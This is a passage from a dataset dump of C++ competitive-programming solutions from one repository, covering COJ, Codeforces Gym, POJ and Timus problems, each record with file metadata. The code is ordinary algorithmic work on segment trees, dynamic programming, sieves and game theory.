st[2 * x + 1];\r\n\t}\r\n}\r\n\r\nvoid update(int x, int l, int r, int p, int val, int add) {\r\n\tst[x].update(val, add);\r\n\tif (l != r) {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tif (p <= mid) {\r\n\t\t\tupdate(2 * x, l, mid, p, val, add);\r\n\t\t} else {\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, p, val, add);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint query(int x, int l, int r, int ql, int qr, int val) {\r\n\tif (l > qr || r < ql) {\r\n\t\treturn 0;\r\n\t}\r\n\tif (l >= ql && r <= qr) {\r\n\t\treturn st[x].query(val);\r\n\t}\r\n\tint mid = (l + r) >> 1;\r\n\tint q1 = query(2 * x, l, mid, ql, qr, val);\r\n\tint q2 = query(2 * x + 1, mid + 1, r, ql, qr, val);\r\n\treturn q1 + q2;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tv[i].clear();\r\n\t\t\tbones[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tcin >> q[0][i] >> q[1][i] >> q[2][i];\r\n\t\t\tif (q[0][i] == 1) {\r\n\t\t\t\tcin >> q[3][i];\r\n\t\t\t}\r\n\t\t\tif (q[0][i] == 0) {\r\n\t\t\t\tv[q[1][i]].push_back(q[2][i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tsort(v[i].begin(), v[i].end());\r\n\t\t\tv[i].erase(unique(v[i].begin(), v[i].end()), v[i].end());\r\n\t\t}\r\n\t\tbuild(1, 0, n - 1);\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tif (q[0][i] == 1) {\r\n\t\t\t\tcout << query(1, 0, n - 1, q[1][i], q[2][i], q[3][i]) << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tif (bones[q[1][i]] != 0) {\r\n\t\t\t\t\tupdate(1, 0, n - 1, q[1][i], bones[q[1][i]], -1);\r\n\t\t\t\t}\r\n\t\t\t\tbones[q[1][i]] = q[2][i];\r\n\t\t\t\tupdate(1, 0, n - 1, q[1][i], q[2][i], 1);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.29016393423080444, "alphanum_fraction": 0.2950819730758667, "avg_line_length": 17.0625, "blob_id": "3f54a0900108d8a137861d1c20b72286cfd5fcc2", "content_id": "d27005bed5d062a7ee79e0c7b7419c9476064783", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 610, "license_type": "no_license", "max_line_length": 44, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p3137-Accepted-s784266.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nlong long a, b, c;\r\n\r\nint main() {\r\nios::sync_with_stdio(false);\r\ncin.tie(0);\r\n cin >> t;\r\n while (t--) {\r\n cin >> a >> b >> c;\r\n bool ok = false;\r\n if (a + b == c) {\r\n ok = true;\r\n }\r\n if (a - b == c) {\r\n ok = true;\r\n }\r\n if (a * b == c) {\r\n ok =true;\r\n }\r\n if (b != 0 && a / b == c) {\r\n ok = true;\r\n }\r\n if (b != 0 && a % b == c) {\r\n ok = true;\r\n }\r\n cout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4351464509963989, "alphanum_fraction": 0.46652719378471375, "avg_line_length": 15.071428298950195, "blob_id": "b99bc758a9fd49f1d3c866448c40c4e05dd53609", "content_id": "cc6f43350723d0f494d2a2018cf3755a2b1ef2ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 478, "license_type": "no_license", "max_line_length": 47, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1406-Accepted-s549153.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 1000010\r\nusing namespace std;\r\n\r\nint q,a,b,ac[MAXN],cas;\r\nchar word[MAXN];\r\n\r\nint main()\r\n{\r\n\r\n\twhile(scanf(\"%s\",word+1)!=EOF)\r\n\t{\r\n\t\tfor(char *p=word+1; *p; p++)\r\n\t\t\tac[p-word]=ac[p-word-1]+(*p-'0');\r\n\r\n\t\tprintf(\"Case %d:\\n\",++cas);\r\n\r\n\t\tfor(scanf(\"%d\",&q);q--;)\r\n\t\t{\r\n\t\t\tscanf(\"%d%d\",&a,&b);\r\n\t\t\tif(a>b){int t=a;a=b;b=t;}\r\n\r\n\t\t\tif(ac[b+1]-ac[a]==b+1-a || ac[b+1]-ac[a]==0)\r\n printf(\"Yes\\n\");\r\n\t\t\telse printf(\"No\\n\");\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32278481125831604, "alphanum_fraction": 0.35654008388519287, "avg_line_length": 16.959999084472656, "blob_id": "e42b92b6ebc9500290f09e426e716bb2ec0a6ce6", "content_id": "bfdeca3054f7410d2ba63e0001780d0521ac2535", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 37, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p1324-Accepted-s500118.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\nint a[9],s;\r\nbool b[9];\r\n\r\nint main()\r\n{\r\n for(int i=0; i<9; i++)\r\n {\r\n scanf(\"%d\",&a[i]);\r\n s+=a[i];\r\n }\r\n sort(a,a+9);\r\n for(int i=0; i<8; i++)\r\n for(int j=i+1; j<9; j++)\r\n if(a[i]+a[j]==s-100)\r\n {\r\n b[i]=b[j]=1;\r\n break;\r\n }\r\n for(int i=0; i<9; i++)\r\n if(!b[i])printf(\"%d\\n\",a[i]);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3510638177394867, "alphanum_fraction": 0.3773466944694519, "avg_line_length": 16.367816925048828, "blob_id": "40cedfd916dfff774899148d740516f44eb2ace4", "content_id": "9a8f9d5af30de8baeac7d4679a7057897fa8d7a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1598, "license_type": "no_license", "max_line_length": 40, "num_lines": 87, "path": "/COJ/eliogovea-cojAC/eliogovea-p3237-Accepted-s869003.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nconst int INF = 1e9;\r\n\r\nint t;\r\nint l, n;\r\nstring s;\r\n\r\nbool criba[N + 5];\r\n\r\nvector <int> dp[7];\r\nqueue <int> q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"w\", stdout);\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcriba[0] = criba[1] = true;\r\n\r\n\tfor (int l = 1; l <= 6; l++) {\r\n\t\tint mx = 1;\r\n\t\tfor (int i = 0; i < l; i++) mx *= 10;\r\n\t\tdp[l].clear();\r\n\t\tdp[l].resize(mx + 5, INF);\r\n\t\tfor (int i = 0; i < mx; i++) {\r\n\t\t\tif (!criba[i]) {\r\n\t\t\t\tdp[l][i] = 0;\r\n\t\t\t\tq.push(i);\r\n\t\t\t} else {\r\n\t\t\t\tdp[l][i] = INF;\r\n\t\t\t}\r\n\t\t}\r\n\t\twhile (!q.empty()) {\r\n\t\t\tint cur = q.front(); q.pop();\r\n\t\t\tfor (int i = 1; i < mx; i *= 10) {\r\n\t\t\t\tint d = (cur / i) % 10;\r\n\t\t\t\tif (d < 9) {\r\n\t\t\t\t\tint tmp = cur + i;\r\n\t\t\t\t\tif (dp[l][tmp] == INF) {\r\n\t\t\t\t\t\tdp[l][tmp] = dp[l][cur] + 1;\r\n\t\t\t\t\t\tq.push(tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tint tmp = cur - 9 * i;\r\n\t\t\t\t\tif (dp[l][tmp] == INF) {\r\n\t\t\t\t\t\tdp[l][tmp] = dp[l][cur] + 1;\r\n\t\t\t\t\t\tq.push(tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (d > 0) {\r\n\t\t\t\t\tint tmp = cur - i;\r\n\t\t\t\t\tif (dp[l][tmp] == INF) {\r\n\t\t\t\t\t\tdp[l][tmp] = dp[l][cur] + 1;\r\n\t\t\t\t\t\tq.push(tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tint tmp = cur + 9 * i;\r\n\t\t\t\t\tif (dp[l][tmp] == INF) {\r\n\t\t\t\t\t\tdp[l][tmp] = dp[l][cur] + 1;\r\n\t\t\t\t\t\tq.push(tmp);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> l >> s;\r\n\t\tn = 0;\r\n\t\tfor (int i = 0; s[i]; i++) {\r\n\t\t\tn = 10 * n + s[i] - '0';\r\n\t\t}\r\n\t\tcout << dp[l][n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4114948809146881, "alphanum_fraction": 0.4266054928302765, "avg_line_length": 22.909677505493164, "blob_id": "f622fe77095f25fb298bd72372a63af6bd8f1cee", "content_id": "ff9c9c39b9f3fabe5763072b1dbb560f1b17df50", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3706, "license_type": "no_license", "max_line_length": 97, "num_lines": 155, "path": "/Codeforces-Gym/101611 - 2017-2018 ACM-ICPC, NEERC, Moscow Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101611F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 1100;\nstruct problem{\n char state[5];\n int a, t;\n};\n\nstruct row{\n int acc, time, last_acc;\n string name;\n bool operator <( const row &b ) const{\n if( acc != b.acc )\n return acc > b.acc;\n if( time != b.time )\n return time < b.time;\n if( last_acc != b.last_acc )\n return last_acc < b.last_acc;\n return name < b.name;\n }\n};\nrow ranking[maxn];\nint n, m, k;\n\nstring name[maxn];\nvector<problem> prob[maxn];\nnamespace facke{\n string name[maxn];\n vector<problem> prob[maxn];\n};\n\ntypedef unsigned long long ULL;\n\nint find_and_remplace( int id ){\n for( int i = 0; i < m; i++ ){\n if( name[i] == facke::name[id] ){\n prob[i] = facke::prob[id];\n return i;\n }\n }\n cerr << \"error!!!!!\" << endl;\n}\n\nrow get_best_points( int id ){\n row ans = (row){ 0,0,0, \"\" };\n //cerr << \"n: \" << n << endl;\n for( int j = 0; j < n; j++ ){\n ans.acc++;\n if( prob[id][j].state[0] == '+' ){\n ans.time += prob[id][j].t + (prob[id][j].a-1)*20;\n ans.last_acc = max( prob[id][j].t, ans.last_acc);\n }\n else{\n ans.time += 240 + prob[id][j].a*20;\n ans.last_acc = max( 240, ans.last_acc);\n }\n }\n ans.name = name[id];\n return ans;\n}\n\nbool can_win( row a, row b ){\n if( b.acc < n ) return true;\n\n int id;///find a\n for( int i = 0; i < m; i++ )\n if( a.name == name[i] ){\n id = i;\n break;\n }\n //cerr << \"id: \" << id << endl;\n row bp = get_best_points( id );\n //cerr << \"bp: \" << bp.acc << \" \" << bp.name << \" \" << bp.time << \" \" << bp.last_acc << endl;\n return bp < b;\n\n}\nbool check( int st ){\n if( st + k > m )\n return false;\n int i, j;\n for( i = 0, j = 0; i < k && st+j < m; i++,j++ ){\n while( st+j < m && facke::name[i] != ranking[st+j].name ){\n //cerr << \"se jodio!!!\" << endl;\n if( !can_win( ranking[st+j], ranking[st] ) )\n return false;\n j++;\n }\n\n }\n if( i != k )\n return false;\n\n return true;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"dat.txt\", \"r\", stdin );\n cin >> n >> m >> k;\n\n for( int i = 0; i < m; i++ ){\n cin >> name[i];\n prob[i].resize(n);\n for( int j = 0; j < n; j++ ){\n cin >> prob[i][j].state >> prob[i][j].a >> prob[i][j].t;\n }\n\n }\n\n for( int i = 0; i < k; i++ ){\n cin >> facke::name[i];\n facke::prob[i].resize(n);\n for( int j = 0; j < n; j++ ){\n cin >> facke::prob[i][j].state >> facke::prob[i][j].a >> facke::prob[i][j].t;\n }\n find_and_remplace( i );\n }\n ///calculate\n for( int i = 0; i < m; i++ ){\n ranking[i].name = name[i];\n for( int j = 0; j < n; j++ ){\n if( prob[i][j].state[0] == '.' || prob[i][j].state[0] == '-' )\n continue;\n if( prob[i][j].state[0] == '+' ){\n ranking[i].acc++;\n ranking[i].time += prob[i][j].t + (prob[i][j].a-1)*20;\n ranking[i].last_acc = max( prob[i][j].t, ranking[i].last_acc);\n }\n\n }\n\n }\n sort( ranking, ranking+m );\n\n /* for( int i = 0; i < m; i++ ){\n cout << ranking[i].name << \" \" << ranking[i].acc << \" \" << ranking[i].time << '\\n';\n\n }*/\n\n int st = 0;\n while( ranking[st].name != facke::name[0] ) st++;\n\n if( check( st ) ){\n cout << \"Leaked\\n\";\n }\n else{\n cout << \"Fake\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.3632287085056305, "alphanum_fraction": 0.43497759103775024, "avg_line_length": 18.272727966308594, "blob_id": "6519254579f90ed3b07e30e99f45a922ff167bbe", "content_id": "e74832c0e3e450d15579b3da2f3d93f704f03b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 446, "license_type": "no_license", "max_line_length": 42, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2616-Accepted-s525263.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nconst int a[4]={1,3,5,6};\r\nint dp[100001],n,c;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=100000; i++)\r\n dp[i]=1<<29;\r\n for(int i=0; i<4; i++)\r\n for(int j=a[i]; j<=100000; j++)\r\n dp[j]=min(dp[j],dp[j-a[i]]+1);\r\n scanf(\"%d\",&c);\r\n for(int i=1; i<=c; i++)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"Case %d: %d\\n\",i,dp[n]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3935483992099762, "alphanum_fraction": 0.4193548262119293, "avg_line_length": 17.375, "blob_id": "5a1a04d3b2be55f92cc35ecb49ee2712d88134d1", "content_id": "fbcf5860a2cd7ffeecc6a97192adfc8db5bb2dd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 310, "license_type": "no_license", "max_line_length": 45, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p3071-Accepted-s727804.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 3071 - Theatre Square\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nlong long n, m, a, ans;\r\n\r\nint main() {\r\n\tcin >> n >> m >> a;\r\n\tans = (n / a) * (m / a);\r\n\tif (n % a != 0LL) ans += (m / a);\r\n\tif (m % a != 0LL) ans += (n / a);\r\n\tif ((n % a != 0LL) && (m % a != 0LL)) ans++;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41111111640930176, "alphanum_fraction": 0.43888887763023376, "avg_line_length": 14, "blob_id": "99c0b12c0e1f51a102225a7f7478fa85e83d8f57", "content_id": "58b3c4411b4c6e5688cc3244f737f44897aa956d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 720, "license_type": "no_license", "max_line_length": 33, "num_lines": 48, "path": "/POJ/2960.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <algorithm>\n\nusing namespace std;\n\nconst int N = 10 * 1000;\n\nint grundy[N + 5];\nint used[N + 5];\n\nint k, s[105];\nint m, n, c;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\twhile (cin >> k && k) {\n\t\tfor (int i = 0; i < k; i++) {\n\t\t\tcin >> s[i];\n\t\t}\n\t\tsort(s, s + k);\n\t\tgrundy[0] = 0;\n\t\tfor (int i = 1; i <= N; i++) {\n\t\t\tfor (int j = 0; j < k; j++) {\n\t\t\t\tif (s[j] > i) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tused[grundy[i - s[j]]] = i;\n\t\t\t}\n\t\t\tgrundy[i] = 0;\n\t\t\twhile (used[grundy[i]] == i) {\n\t\t\t\tgrundy[i]++;\n\t\t\t}\n\t\t}\n\t\tcin >> m;\n\t\twhile (m--) {\n\t\t\tcin >> n;\n\t\t\tint xorSum = 0;\n\t\t\twhile (n--) {\n\t\t\t\tcin >> c;\n\t\t\t\txorSum ^= grundy[c];\n\t\t\t}\n\t\t\tcout << \"LW\"[xorSum != 0];\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.32010582089424133, "alphanum_fraction": 0.380952388048172, "avg_line_length": 15.181818008422852, "blob_id": "4a71bb03d3f7ecdfdbd60b63543501fa6dc6fdcb", "content_id": "fca1728fdaffe47ecd628bfbecb0f56046ec5275", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 378, "license_type": "no_license", "max_line_length": 44, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2139-Accepted-s549066.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 100001\r\n\r\nchar w1[MAXN],w2[MAXN];\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%s%s\",w1,w2)!=EOF)\r\n\t{\r\n\t\t\tchar *p1=w1;\r\n\t\t\tchar *p2=w2;\r\n\t\t\tfor(; *p1 && *p2; p2++)\r\n {\r\n //printf(\"%c %c\\n\",*p1,*p2);\r\n if(*p1==*p2)\r\n p1++;\r\n }\r\n\r\n\t\t\tif(*p1)printf(\"No\\n\");\r\n\t\t\telse printf(\"Yes\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.28219178318977356, "alphanum_fraction": 0.3191780745983124, "avg_line_length": 16.25, "blob_id": "69c8df6dc5960200eded4d239d644dc15ca2aa22", "content_id": "cfa9ace70d91eff4053245444f7f13a45b73d8ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 730, "license_type": "no_license", "max_line_length": 38, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p2555-Accepted-s491636.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nchar s[100000];\r\nint ans,i,b[(1<<18)+1];\r\n\r\nint main()\r\n{\r\n cin >> s;\r\n int l = strlen(s);\r\n\r\n for(i=1; l+1-i >= 1<<(i-1); i++)\r\n {\r\n for(int j=0; j<l+1-i; j++)\r\n {\r\n int n=0,p2=1;\r\n for(int k=j+i-1; k>=j;k--)\r\n {\r\n n+=p2*(s[k]-'0');\r\n p2*=2;\r\n }\r\n b[n]=i;\r\n }\r\n for(int j=0; j<1<<i; j++)\r\n {\r\n if(b[j]!=i)\r\n {\r\n ans=i;\r\n break;\r\n }\r\n }\r\n if(ans)break;\r\n }\r\n\r\n if(ans)cout<< ans << endl;\r\n else cout<< i << endl;\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3868217170238495, "alphanum_fraction": 0.4178294539451599, "avg_line_length": 17.69565200805664, "blob_id": "3e6961a3cf1b207aa749cd2d9c1092fb27b503f1", "content_id": "82dbf51117b8c1438caf212dd4709fe7f80983bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1290, "license_type": "no_license", "max_line_length": 115, "num_lines": 69, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\n\nint solve( int u ){\n int sol = (int)g[u].size() + 1;\n\n vector<int> hs;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n hs.push_back( solve( v ) );\n }\n\n sort( hs.begin() , hs.end() , greater<int>() );\n\n for( int i = 0; i < hs.size(); i++ ){\n sol = max( sol , hs[i] + i );\n }\n\n return sol;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\n int n; cin >> n;\n\n map<string,int> dic;\n int sz = 0;\n\n for( int i = 1; i <= n; i++ ){\n string tmp; cin >> tmp;\n if( !dic[tmp] ){\n ++sz;\n dic[tmp] = sz;\n }\n\n int u = dic[tmp];\n\n int m; cin >> m;\n for( int j = 0; j < m; j++ ){\n cin >> tmp;\n if( tmp[0] < 'A' || tmp[0] > 'Z' ){\n continue;\n }\n\n if( !dic[tmp] ){\n ++sz;\n dic[tmp] = sz;\n }\n int v = dic[tmp];\n\n g[u].push_back(v);\n }\n }\n\n cout << solve(1) << '\\n';\n}\n" }, { "alpha_fraction": 0.4223107695579529, "alphanum_fraction": 0.4661354720592499, "avg_line_length": 13.78125, "blob_id": "f65e0303d93ac2ac787f10ec0d54932dd22330fa", "content_id": "2490282dbaf254787c666717d0fc30453ec16112", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 502, "license_type": "no_license", "max_line_length": 35, "num_lines": 32, "path": "/Timus/1048-6291395.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1048\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nint n;\r\nshort a[N], b[N];\r\nshort ans[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i] >> b[i];\r\n\t}\r\n\tint carry = 0;\r\n\tfor (int i = n - 1; i >= 0; i--) {\r\n\t\tcarry += a[i] + b[i];\r\n\t\tans[i] = carry % 10;\r\n\t\tcarry /= 10;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3434029221534729, "alphanum_fraction": 0.3642825484275818, "avg_line_length": 18.57391357421875, "blob_id": "68583ae9ffc1ab44e3d7774de342db6a6a618a3b", "content_id": "583f2eeb6cf5e2dcb9b26692ff0469cd7385f6a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2251, "license_type": "no_license", "max_line_length": 82, "num_lines": 115, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/I6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 6000;\nconst int MAX = 5000;\n\nconst int mod = 1000000007;\n\ninline int add( int a, int b ){\n a += b;\n if( a >= mod ){\n a -= mod;\n }\n\n return a;\n}\n\ntypedef long long ll;\n\ninline int mult( int a, int b ){\n return ( (ll)a * (ll)b ) % mod;\n}\n\nint bpow( int b, int e ){\n if( e == 0 ){\n return 1;\n }\n if( e == 1 ){\n return b;\n }\n\n int res = bpow( b , e/2 );\n res = mult( res , res );\n if( e & 1 ){\n res = mult( res , b );\n }\n\n return res;\n}\n\nint fact[MAXN];\n\ninline int comb( int n, int k ){\n if( n < 0 || k < 0 || n < k ){\n return 0;\n }\n\n return mult( fact[n] , bpow( mult( fact[n-k] , fact[k] ) , mod-2 ) );\n}\n\nint cnt[MAXN];\nint c[MAXN];\nint acc[MAXN];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n fact[0] = 1;\n for( int i = 1; i < MAXN; i++ ){\n fact[i] = mult( fact[i-1] , i );\n }\n\n int n, t; cin >> n >> t;\n\n for( int i = 1; i <= n; i++ ){\n cin >> c[i];\n\n cnt[ c[i] ]++;\n }\n\n for( int i = 1; i <= MAX; i++ ){\n acc[i] = acc[i-1] + cnt[i];\n /*if( i <= 10 ){\n cerr << acc[i] << ' ';\n }*/\n }//cerr << '\\n';\n\n int k, x; cin >> k >> x;\n int ck = c[k];\n\n int sol = 0;\n\n //cerr << \"t = \" << t << '\\n';\n\n int acc_mn = acc[ck-1];\n int acc_mx = acc[MAX]-acc[ck];\n\n //cerr << \"acc_mn = \" << acc_mn << \" acc_mx = \" << acc_mx << '\\n';\n\n for( int eq = 0; eq+1 <= min( cnt[ck] , t ); eq++ ){\n for( int mn = 0; mn <= min( acc_mn , x-1 ) && mn + eq + 1 <= t; mn++ ){\n int mx = t - (mn + eq + 1);\n //cerr << \"eq = \" << eq << \" mn = \" << mn << \" mx = \" << mx << '\\n';\n\n if( mx > acc_mx || mn + eq + 1 < x ){\n continue;\n }\n\n //cerr << \"ENTRO\\n\";\n //cerr << \"eq = \" << eq << \" mn = \" << mn << \" mx = \" << mx << '\\n';\n\n sol = add( sol ,\n mult( comb( cnt[ck]-1 , eq ) ,\n mult( comb( acc_mn , mn ) , comb( acc_mx , mx ) )\n )\n );\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.4834710657596588, "alphanum_fraction": 0.5, "avg_line_length": 12.352941513061523, "blob_id": "10ae3604b5952414ff645fb6c7c70106a12bdac1", "content_id": "e6776f2b6605baea60ceb1a2190ce1e904021a61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 242, "license_type": "no_license", "max_line_length": 41, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3302-Accepted-s815628.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\ndouble l;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(4);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> l;\r\n\t\tcout << fixed << 1.0 / (l * l) << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.5089285969734192, "alphanum_fraction": 0.5200892686843872, "avg_line_length": 14.592592239379883, "blob_id": "d5208ab1b01c25c560dcb2c789c1a086a75d78a8", "content_id": "a96959d7db4aee306eff86f61fa766b50a594beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 448, "license_type": "no_license", "max_line_length": 68, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2470-Accepted-s581169.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <cstring>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint n, k;\r\nchar str[25];\r\nvector<int> v[25];\r\nll sol;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\", &n, &k);\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tscanf(\"%s\", str);\r\n\t\tint s = strlen(str);\r\n\t\tint p = v[s].end() - lower_bound(v[s].begin(), v[s].end(), i - k);\r\n\t\tsol += (ll)p;\r\n\t\tv[s].push_back(i);\r\n\t}\r\n\r\n\tprintf(\"%lld\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.34972676634788513, "alphanum_fraction": 0.3920764923095703, "avg_line_length": 18.33333396911621, "blob_id": "bcb11d2430f2dffabc116225d70dd41529653a14", "content_id": "566968c25f6f112fdf46bb3cdd2641aed4c51321", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 732, "license_type": "no_license", "max_line_length": 54, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3337-Accepted-s906094.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t, cas, n, k;\r\n\r\nunsigned long long f[25];\r\nunsigned long long c[25][25];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= 20; i++) {\r\n\t\tf[i] = f[i - 1] * (long long)i;\r\n\t}\r\n\tfor (int i = 0; i <= 20; i++) 